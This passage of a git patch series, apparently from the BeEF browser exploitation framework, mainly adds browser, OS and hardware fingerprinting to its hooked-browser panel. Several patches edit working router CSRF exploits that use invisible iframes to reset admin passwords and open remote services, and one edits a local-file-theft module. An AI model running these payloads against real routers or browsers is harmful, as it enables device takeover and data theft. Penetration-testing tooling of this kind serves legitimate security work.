From 71133869e49f11714d7e9c1e1848d9285333fa19 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 24 Jun 2012 20:36:10 +0930 Subject: [PATCH 01/13] Added browser details to Hooked Browser balloon messages Fixes issue #521 --- core/main/models/browserdetails.rb | 2 +- .../admin_ui/controllers/panel/panel.rb | 34 ++++++++++----- .../media/javascript/ui/panel/ZombiesMgr.js | 43 ++++++++++++++----- .../javascript/ui/panel/zombiesTreeList.js | 4 +- 4 files changed, 59 insertions(+), 24 deletions(-) diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb index 0cd114c75..8a8f79c61 100644 --- a/core/main/models/browserdetails.rb +++ b/core/main/models/browserdetails.rb @@ -62,7 +62,7 @@ module Models browserdetails end - + # # Returns the icon representing the browser type the # hooked browser is using (i.e. Firefox, Internet Explorer) diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index f50adb121..c67ec41f7 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -84,18 +84,30 @@ class Panel < BeEF::Extension::AdminUI::HttpController # create a hash of simple hooked browser details def get_simple_hooked_browser_hash(hooked_browser) - - browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) - os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) - domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') - + + browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName') + browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion') + browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) + os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) + os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName') + domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') + has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash') + has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket') + date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') + return { - 'session' => hooked_browser.session, - 'ip' => hooked_browser.ip, - 'domain' => domain, - 'port' => hooked_browser.port.to_s, - 'browser_icon' => browser_icon, - 'os_icon' => os_icon + 'session' => hooked_browser.session, + 'ip' => hooked_browser.ip, + 'domain' => domain, + 'port' => hooked_browser.port.to_s, + 'browser_name' => browser_name, + 'browser_version' => browser_version, + 'browser_icon' => browser_icon, + 'os_icon' => os_icon, + 'os_name' => os_name, + 'has_flash' => has_flash, + 'has_web_sockets' => has_web_sockets, + 'date_stamp' => date_stamp } end diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js index c764f94cf..964e586a4 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js @@ -20,18 +20,41 @@ var ZombiesMgr = function(zombies_tree_lists) { // this is a helper class to create a zombie object from a JSON hash index this.zombieFactory = function(index, zombie_array){ - text = " "; - text += " "; - text += zombie_array[index]["ip"]; + + var ip = zombie_array[index]["ip"]; + var session = zombie_array[index]["session"]; + var browser_name = zombie_array[index]["browser_name"]; + var browser_version = zombie_array[index]["browser_version"]; + var browser_icon = zombie_array[index]["browser_icon"]; + var os_icon = zombie_array[index]["os_icon"]; + var os_name = zombie_array[index]["os_name"]; + var domain = zombie_array[index]["domain"]; + var port = zombie_array[index]["port"]; + var has_flash = zombie_array[index]["has_flash"]; + var has_web_sockets = zombie_array[index]["has_web_sockets"]; + var date_stamp = zombie_array[index]["date_stamp"]; + + text = " "; + text+= " "; + text+= ip; + + balloon_text = "IP: "+ip; + balloon_text+= "
Browser: " + browser_name + " " + browser_version; + balloon_text+= "
System: " + os_name; + balloon_text+= "
Domain: " + domain + ":" + port; + balloon_text+= "
Flash: " + has_flash; + balloon_text+= "
Web Sockets: " + has_web_sockets; + balloon_text+= "
Date: " + date_stamp; var new_zombie = { - 'id' : index, - 'ip' : zombie_array[index]["ip"], - 'session' : zombie_array[index]["session"], - 'text': text, - 'check' : false, - 'domain' : zombie_array[index]["domain"], - 'port' : zombie_array[index]["port"] + 'id' : index, + 'ip' : ip, + 'session' : session, + 'text' : text, + 'balloon_text' : balloon_text, + 'check' : false, + 'domain' : domain, + 'port' : port }; return new_zombie; diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js index 247a44fe9..aa04f300f 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js +++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js @@ -196,7 +196,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { var exists = this.getNodeById(hb_id); if(exists) return; - hooked_browser.qtip = hooked_browser.text + ' hooked on ' + hooked_browser.domain + ":" + hooked_browser.port; + hooked_browser.qtip = hooked_browser.balloon_text; //save a new online HB if(online && Ext.pluck(this.online_hooked_browsers_array, 'session').indexOf(hooked_browser.session)==-1) { @@ -220,7 +220,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { //creates a new node for that hooked browser node = new Ext.tree.TreeNode(hooked_browser); - + //creates a sub-branch for that HB if necessary mother_node = this.addSubFolder(mother_node, hooked_browser[this.tree_configuration['sub-branch']], checkbox); From ebe205ad36b010130e6eb729895e9c2668659100 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 24 Jun 2012 20:44:06 +0930 Subject: [PATCH 02/13] Updated a couple of module configs modules/exploits/router/virgin_superhub_csrf/config.yaml modules/misc/local_file_theft/config.yaml --- modules/exploits/router/virgin_superhub_csrf/config.yaml | 2 +- modules/misc/local_file_theft/config.yaml | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/router/virgin_superhub_csrf/config.yaml b/modules/exploits/router/virgin_superhub_csrf/config.yaml index 11c11a548..8d7a7a3c9 100644 --- a/modules/exploits/router/virgin_superhub_csrf/config.yaml +++ b/modules/exploits/router/virgin_superhub_csrf/config.yaml @@ -20,6 +20,6 @@ beef: category: ["Exploits", "Router"] name: "Virgin Superhub CSRF" description: "Attempts to change the admin password on a Virgin Superhub router." - authors: ["bcoles"] + authors: ["bcoles", "n0x00"] target: working: ["ALL"] diff --git a/modules/misc/local_file_theft/config.yaml b/modules/misc/local_file_theft/config.yaml index 4c44194e1..d6b2c0be4 100644 --- a/modules/misc/local_file_theft/config.yaml +++ b/modules/misc/local_file_theft/config.yaml @@ -23,7 +23,7 @@ beef: enable: true category: "Misc" name: "Local File Theft" - description: "Javascript may have filesystem access if we are running from a local resource and using the file:// scheme. This module checks common locations and cheekily snaches anything it finds. Shamelessly plagurised from http://kos.io/xsspwn. To test this module save the BeEF hook page locally and open in safari from the your localfile system." + description: "JavaScript may have filesystem access if we are running from a local resource and using the file:// scheme.
This module checks common locations and cheekily snaches anything it finds. Shamelessly plagurised from http://kos.io/xsspwn. To test this module save the BeEF hook page locally and open in Safari from the your localfile system." authors: ["mh"] target: - working: ["All"] + working: ["S"] From 7fde875d8ac36f21066e9bed29fbc1fe4783e0c7 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 24 Jun 2012 22:21:19 +0930 Subject: [PATCH 03/13] Changed default target IP address to `http://192.168.100.1/` for the virgin_superhub_csrf module --- modules/exploits/router/virgin_superhub_csrf/module.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/router/virgin_superhub_csrf/module.rb b/modules/exploits/router/virgin_superhub_csrf/module.rb index 8a2e5a2d1..28684484d 100644 --- a/modules/exploits/router/virgin_superhub_csrf/module.rb +++ b/modules/exploits/router/virgin_superhub_csrf/module.rb @@ -17,7 +17,7 @@ class Virgin_superhub_csrf < BeEF::Core::Command def self.options return [ - {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.254/'}, + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.100.1/'}, {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} ] end From 9440afacc91add3e54c64d5838b5d8ffa42544de Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 25 Jun 2012 00:57:26 +0930 Subject: [PATCH 04/13] Removed duplicate `/` from a few CSRF URLs Just in case it causes issues --- modules/exploits/router/comtrend_ct5367_csrf/command.js | 4 ++-- modules/exploits/router/comtrend_ct5624_csrf/command.js | 2 +- modules/exploits/router/dlink_dsl500t_csrf/command.js | 2 +- modules/exploits/router/huawei_smartax_mt880/command.js | 2 +- modules/exploits/router/virgin_superhub_csrf/command.js | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/router/comtrend_ct5367_csrf/command.js b/modules/exploits/router/comtrend_ct5367_csrf/command.js index fdbedec46..d713b6b06 100644 --- a/modules/exploits/router/comtrend_ct5367_csrf/command.js +++ b/modules/exploits/router/comtrend_ct5367_csrf/command.js @@ -18,12 +18,12 @@ beef.execute(function() { var passwd = '<%= @password %>'; var ct5367_iframe1 = beef.dom.createInvisibleIframe(); - ct5367_iframe1.setAttribute('src', gateway+'/scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3'); + ct5367_iframe1.setAttribute('src', gateway+'scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3'); var ct5367_iframe2 = beef.dom.createInvisibleIframe(); var form = document.createElement('form'); - form.setAttribute('action', gateway + "/password.cgi"); + form.setAttribute('action', gateway + "password.cgi"); form.setAttribute('method', 'post'); var input = null; diff --git a/modules/exploits/router/comtrend_ct5624_csrf/command.js b/modules/exploits/router/comtrend_ct5624_csrf/command.js index b6cc7ab28..afe248983 100644 --- a/modules/exploits/router/comtrend_ct5624_csrf/command.js +++ b/modules/exploits/router/comtrend_ct5624_csrf/command.js @@ -18,7 +18,7 @@ beef.execute(function() { var passwd = '<%= @password %>'; var ct5367_iframe1 = beef.dom.createInvisibleIframe(); - ct5367_iframe1.setAttribute('src', gateway+'/scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3'); + ct5367_iframe1.setAttribute('src', gateway+'scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3'); var ct5367_iframe2 = beef.dom.createInvisibleIframe(); ct5367_iframe2.setAttribute('src', gateway+'/password.cgi?usrPassword='+passwd+'&sysPassword='+passwd+'&sptPassword='+passwd); diff --git a/modules/exploits/router/dlink_dsl500t_csrf/command.js b/modules/exploits/router/dlink_dsl500t_csrf/command.js index ae1c98e23..f25c89a5b 100644 --- a/modules/exploits/router/dlink_dsl500t_csrf/command.js +++ b/modules/exploits/router/dlink_dsl500t_csrf/command.js @@ -17,7 +17,7 @@ beef.execute(function() { var gateway = '<%= @base %>'; var passwd = '<%= @password %>'; - var dsl500t_iframe = beef.dom.createIframeXsrfForm(gateway + "/cgi-bin/webcm", "POST", + var dsl500t_iframe = beef.dom.createIframeXsrfForm(gateway + "cgi-bin/webcm", "POST", [{'type':'hidden', 'name':'getpage', 'value':'../html/tools/usrmgmt.htm'} , {'type':'hidden', 'name':'security:settings/username', 'value':'admin'}, {'type':'hidden', 'name':'security:settings/password', 'value':passwd}, diff --git a/modules/exploits/router/huawei_smartax_mt880/command.js b/modules/exploits/router/huawei_smartax_mt880/command.js index a749117a8..bfe98e957 100644 --- a/modules/exploits/router/huawei_smartax_mt880/command.js +++ b/modules/exploits/router/huawei_smartax_mt880/command.js @@ -19,7 +19,7 @@ beef.execute(function() { var passwd = '<%= @password %>'; var huawei_smartax_mt880_iframe = beef.dom.createInvisibleIframe(); - huawei_smartax_mt880_iframe.setAttribute('src', gateway+"/Action?user_id="+username+"&priv=1&pass1="+passwd+"&pass2="+passwd+"&id=70"); + huawei_smartax_mt880_iframe.setAttribute('src', gateway+"Action?user_id="+username+"&priv=1&pass1="+passwd+"&pass2="+passwd+"&id=70"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); diff --git a/modules/exploits/router/virgin_superhub_csrf/command.js b/modules/exploits/router/virgin_superhub_csrf/command.js index 5acb91421..3c84ee315 100644 --- a/modules/exploits/router/virgin_superhub_csrf/command.js +++ b/modules/exploits/router/virgin_superhub_csrf/command.js @@ -18,7 +18,7 @@ beef.execute(function() { var gateway = '<%= @base %>'; var passwd = '<%= @password %>'; - var virgin_superhub_iframe = beef.dom.createIframeXsrfForm(gateway + "/goform/RgSecurity", "POST", [ + var virgin_superhub_iframe = beef.dom.createIframeXsrfForm(gateway + "goform/RgSecurity", "POST", [ {'type':'hidden', 'name':'NetgearPassword', 'value':passwd} , {'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd}, {'type':'hidden', 'name':'RestoreFactoryNo', 'value':'0x00'} From 268ef4588f54635462829def863ad2532ffec5b3 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 25 Jun 2012 01:35:33 +0930 Subject: [PATCH 05/13] Added device/hardware detection --- core/core.rb | 1 + core/filters/browser.rb | 10 +++ core/main/client/browser.js | 2 + core/main/client/hardware.js | 74 ++++++++++++++++++ core/main/client/os.js | 20 ++++- core/main/constants/hardware.rb | 73 +++++++++++++++++ core/main/constants/os.rb | 20 +++-- core/main/handlers/browserdetails.rb | 8 ++ core/main/handlers/modules/beefjs.rb | 4 +- core/main/models/browserdetails.rb | 27 ++++++- .../admin_ui/controllers/modules/modules.rb | 17 +++- .../admin_ui/controllers/panel/panel.rb | 6 +- .../admin_ui/media/images/icons/ios.png | Bin 0 -> 38666 bytes .../admin_ui/media/images/icons/iphone.jpg | Bin 0 -> 1721 bytes .../admin_ui/media/images/icons/iphone.png | Bin 1577 -> 0 bytes .../admin_ui/media/images/icons/kindle.png | Bin 0 -> 4408 bytes extensions/admin_ui/media/images/icons/pc.png | Bin 0 -> 2521 bytes .../admin_ui/media/images/icons/zune.gif | Bin 0 -> 1701 bytes .../media/javascript/ui/panel/ZombiesMgr.js | 4 + extensions/console/lib/shellinterface.rb | 15 ++++ 20 files changed, 259 insertions(+), 22 deletions(-) create mode 100644 core/main/client/hardware.js create mode 100644 core/main/constants/hardware.rb create mode 100644 extensions/admin_ui/media/images/icons/ios.png create mode 100644 extensions/admin_ui/media/images/icons/iphone.jpg delete mode 100644 extensions/admin_ui/media/images/icons/iphone.png create mode 100644 extensions/admin_ui/media/images/icons/kindle.png create mode 100644 extensions/admin_ui/media/images/icons/pc.png create mode 100644 extensions/admin_ui/media/images/icons/zune.gif diff --git a/core/core.rb b/core/core.rb index dc554314b..6dcff13f2 100644 --- a/core/core.rb +++ b/core/core.rb @@ -34,6 +34,7 @@ require 'core/main/constants/browsers' require 'core/main/constants/commandmodule' require 'core/main/constants/distributedengine' require 'core/main/constants/os' +require 'core/main/constants/hardware' # @note Include core modules for beef require 'core/main/configuration' diff --git a/core/filters/browser.rb b/core/filters/browser.rb index f955fb6f6..7dbcfdfc6 100644 --- a/core/filters/browser.rb +++ b/core/filters/browser.rb @@ -47,6 +47,16 @@ module Filters true end + # Check the Hardware name value - for example, 'iPhone' + # @param [String] str String for testing + # @return [Boolean] If the string has valid Hardware name characters + def self.is_valid_hwname?(str) + return false if not is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length < 2 + true + end + # Verify the browser version string is valid # @param [String] str String for testing # @return [Boolean] If the string has valid browser version characters diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 762072108..9a243aad4 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -765,6 +765,7 @@ beef.browser = { var browser_plugins = beef.browser.getPlugins(); var date_stamp = new Date().toString(); var os_name = beef.os.getName(); + var hw_name = beef.hardware.getName(); var system_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null; var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {if (value == true) return value; else if (typeof value == 'object') return value; else return;}); var screen_size = beef.browser.getScreenSize(); @@ -789,6 +790,7 @@ beef.browser = { if(hostport) details["HostPort"] = hostport; if(browser_plugins) details["BrowserPlugins"] = browser_plugins; if(os_name) details['OsName'] = os_name; + if(hw_name) details['Hardware'] = hw_name; if(date_stamp) details['DateStamp'] = date_stamp; if(system_platform) details['SystemPlatform'] = system_platform; if(browser_type) details['BrowserType'] = browser_type; diff --git a/core/main/client/hardware.js b/core/main/client/hardware.js new file mode 100644 index 000000000..f498c53ac --- /dev/null +++ b/core/main/client/hardware.js @@ -0,0 +1,74 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.hardware = { + + ua: navigator.userAgent, + + isWinPhone: function() { + return (this.ua.match('(Windows Phone)')) ? true : false; + }, + + isIphone: function() { + return (this.ua.indexOf('iPhone') != -1) ? true : false; + }, + + isIpad: function() { + return (this.ua.indexOf('iPad') != -1) ? true : false; + }, + + isIpod: function() { + return (this.ua.indexOf('iPod') != -1) ? true : false; + }, + + isNokia: function() { + return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false; + }, + + isBlackBerry: function() { + return (this.ua.match('BlackBerry')) ? true : false; + }, + + isZune: function() { + return (this.ua.match('ZuneWP7')) ? true : false; + }, + + isKindle: function() { + return (this.ua.match('Kindle')) ? true : false; + }, + + getName: function() { + + if(this.isNokia()) { + + if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo'; + if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS'; + if (this.ua.indexOf('Symbian') != -1) return 'Symbian'; + + //return 'Nokia'; + } + + if (this.isWinPhone()) return 'Windows Phone'; + if (this.isBlackBerry()) return 'BlackBerry'; + if (this.isIphone()) return 'iPhone'; + if (this.isIpad()) return 'iPad'; + if (this.isIpod()) return 'iPod'; + if (this.isKindle()) return 'Kindle'; + + return 'unknown'; + } +}; + +beef.regCmp('beef.net.hardware'); diff --git a/core/main/client/os.js b/core/main/client/os.js index c133edcc9..9ccea8a9c 100644 --- a/core/main/client/os.js +++ b/core/main/client/os.js @@ -72,7 +72,11 @@ beef.os = { isMacintosh: function() { return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false; }, - + + isWinPhone: function() { + return (this.ua.match('(Windows Phone)')) ? true : false; + }, + isIphone: function() { return (this.ua.indexOf('iPhone') != -1) ? true : false; }, @@ -97,6 +101,10 @@ beef.os = { return (this.ua.match('BlackBerry')) ? true : false; }, + isWebOS: function() { + return (this.ua.match('webOS')) ? true : false; + }, + isQNX: function() { return (this.ua.match('QNX')) ? true : false; }, @@ -139,11 +147,14 @@ beef.os = { if(this.isSunOS()) return 'Sun OS'; //iPhone - if (this.isIphone()) return 'iPhone'; + if (this.isIphone()) return 'iOS'; //iPad - if (this.isIpad()) return 'iPad'; + if (this.isIpad()) return 'iOS'; //iPod - if (this.isIpod()) return 'iPod'; + if (this.isIpod()) return 'iOS'; + + // zune + //if (this.isZune()) return 'Zune'; //macintosh if(this.isMacintosh()) { @@ -156,6 +167,7 @@ beef.os = { //others if(this.isQNX()) return 'QNX'; if(this.isBeOS()) return 'BeOS'; + if(this.isWebOS()) return 'webOS'; return 'unknown'; } diff --git a/core/main/constants/hardware.rb b/core/main/constants/hardware.rb new file mode 100644 index 000000000..63958a210 --- /dev/null +++ b/core/main/constants/hardware.rb @@ -0,0 +1,73 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +module BeEF +module Core +module Constants + + # @note The hardware's strings for hardware detection. + module Hardware + + HW_UNKNOWN_IMG = 'pc.png' + HW_IPHONE_UA_STR = 'iPhone' + HW_IPHONE_IMG = 'iphone.jpg' + HW_IPAD_UA_STR = 'iPad' + HW_IPAD_IMG = 'ipad.png' + HW_IPOD_UA_STR = 'iPod' + HW_IPOD_IMG = 'ipod.jpg' + HW_BLACKBERRY_UA_STR = 'BlackBerry' + HW_BLACKBERRY_IMG = 'blackberry.png' + HW_ANDROID_UA_STR = 'Android' + HW_ANDROID_IMG = 'android.png' + HW_WINPHONE_UA_STR = 'Windows Phone' + HW_WINPHONE_IMG = 'win.png' + HW_ZUNE_UA_STR = 'ZuneWP7' + HW_ZUNE_IMG = 'zune.gif' + HW_KINDLE_UA_STR = 'Kindle' + HW_KINDLE_IMG = 'kindle.png' + HW_ALL_UA_STR = 'All' + + # Attempt to match operating system string to constant + # @param [String] name Name of operating system + # @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched + def self.match_hardware(name) + case name.downcase + when /iphone/ + HW_IPHONE_UA_STR + when /ipad/ + HW_IPAD_UA_STR + when /ipod/ + HW_IPOD_UA_STR + when /blackberry/ + HW_BLACKBERRY_UA_STR + when /android/ + HW_ANDROID_UA_STR + when /windows phone/ + HW_WINPHONE_UA_STR + when /zune/ + HW_ZUNE_UA_STR + when /kindle/ + HW_KINDLE_UA_STR + else + 'ALL' + end + end + + end + +end +end +end diff --git a/core/main/constants/os.rb b/core/main/constants/os.rb index 2e86f1e39..15c8a1b67 100644 --- a/core/main/constants/os.rb +++ b/core/main/constants/os.rb @@ -29,17 +29,19 @@ module Constants OS_MAC_UA_STR = 'Mac' OS_MAC_IMG = 'mac.png' OS_QNX_UA_STR = 'QNX' - OS_QNX_IMG = 'qnx.ico' + OS_QNX_IMG = 'qnx.ico' OS_BEOS_UA_STR = 'BeOS' - OS_BEOS_IMG = 'beos.png' + OS_BEOS_IMG = 'beos.png' OS_OPENBSD_UA_STR = 'OpenBSD' OS_OPENBSD_IMG = 'openbsd.ico' + OS_IOS_UA_STR = 'iOS' + OS_IOS_IMG = 'ios.png' OS_IPHONE_UA_STR = 'iPhone' - OS_IPHONE_IMG = 'iphone.png' + OS_IPHONE_IMG = 'iphone.jpg' OS_IPAD_UA_STR = 'iPad' - OS_IPAD_IMG = 'ipad.png' + OS_IPAD_IMG = 'ipad.png' OS_IPOD_UA_STR = 'iPod' - OS_IPOD_IMG = 'ipod.jpg' + OS_IPOD_IMG = 'ipod.jpg' OS_MAEMO_UA_STR = 'Maemo' OS_MAEMO_IMG = 'maemo.ico' OS_BLACKBERRY_UA_STR = 'BlackBerry' @@ -65,12 +67,8 @@ module Constants OS_BEOS_UA_STR when /openbsd/ OS_OPENBSD_UA_STR - when /iphone/ - OS_IPHONE_UA_STR - when /ipad/ - OS_IPAD_UA_STR - when /ipod/ - OS_IPOD_UA_STR + when /ios/, /iphone/, /ipad/, /ipod/ + OS_IOS_UA_STR when /maemo/ OS_MAEMO_UA_STR when /blackberry/ diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index dfb3b8040..1ca83f165 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -118,6 +118,14 @@ module BeEF self.err_msg "Invalid operating system name returned from the hook browser's initial connection." end + # get and store the hardware name + hw_name = get_param(@data['results'], 'Hardware') + if BeEF::Filters.is_valid_hwname?(hw_name) + BD.set(session_id, 'Hardware', hw_name) + else + self.err_msg "Invalid hardware name returned from the hook browser's initial connection." + end + # get and store the date date_stamp = get_param(@data['results'], 'DateStamp') if BeEF::Filters.is_valid_date_stamp?(date_stamp) diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 92473876d..b7ca90bae 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -32,9 +32,9 @@ module Modules # @note we load websocket library only if ws server is enabled in config.yalm # check in init.js if config.get("beef.http.websocket.enable") - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js) + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js) else - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js) + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js) end # @note construct the beefjs string from file(s) diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb index 8a8f79c61..ae3868691 100644 --- a/core/main/models/browserdetails.rb +++ b/core/main/models/browserdetails.rb @@ -94,9 +94,10 @@ module Models return BeEF::Core::Constants::Os::OS_QNX_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_QNX_UA_STR return BeEF::Core::Constants::Os::OS_BEOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BEOS_UA_STR return BeEF::Core::Constants::Os::OS_OPENBSD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_OPENBSD_UA_STR - return BeEF::Core::Constants::Os::OS_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPHONE_UA_STR - return BeEF::Core::Constants::Os::OS_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPAD_UA_STR - return BeEF::Core::Constants::Os::OS_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPOD_UA_STR + return BeEF::Core::Constants::Os::OS_WEBOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_WEBOS_UA_STR + return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPHONE_UA_STR + return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPAD_UA_STR + return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPOD_UA_STR return BeEF::Core::Constants::Os::OS_MAEMO_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAEMO_UA_STR return BeEF::Core::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAC_UA_STR return BeEF::Core::Constants::Os::OS_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BLACKBERRY_UA_STR @@ -105,6 +106,26 @@ module Models BeEF::Core::Constants::Os::OS_UNKNOWN_IMG end + # + # Returns the icon representing the hardware the + # zombie is running on (i.e. iPhone, BlackBerry) + # + def self.hw_icon(session_id) + + ua_string = get(session_id, 'BrowserReportedName') + + return BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG if ua_string.nil? + + return BeEF::Core::Constants::Hardware::HW_WINPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_WINPHONE_UA_STR + return BeEF::Core::Constants::Hardware::HW_ZUNE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ZUNE_UA_STR + return BeEF::Core::Constants::Hardware::HW_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPHONE_UA_STR + return BeEF::Core::Constants::Hardware::HW_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPAD_UA_STR + return BeEF::Core::Constants::Hardware::HW_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPOD_UA_STR + + BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG + + end + end end diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index b30573a0d..827f6c241 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -136,7 +136,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController # set and add the return values for the os name os_name = BD.get(zombie_session, 'OsName') - if not host_name.nil? + if not os_name.nil? encoded_os_name = CGI.escapeHTML(os_name) encoded_os_name_hash = { 'OS Name' => encoded_os_name } @@ -148,6 +148,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController summary_grid_hash['results'].push(page_name_row) # add the row end + + # set and add the return values for the hardware name + hw_name = BD.get(zombie_session, 'Hardware') + if not hw_name.nil? + encoded_hw_name = CGI.escapeHTML(hw_name) + encoded_hw_name_hash = { 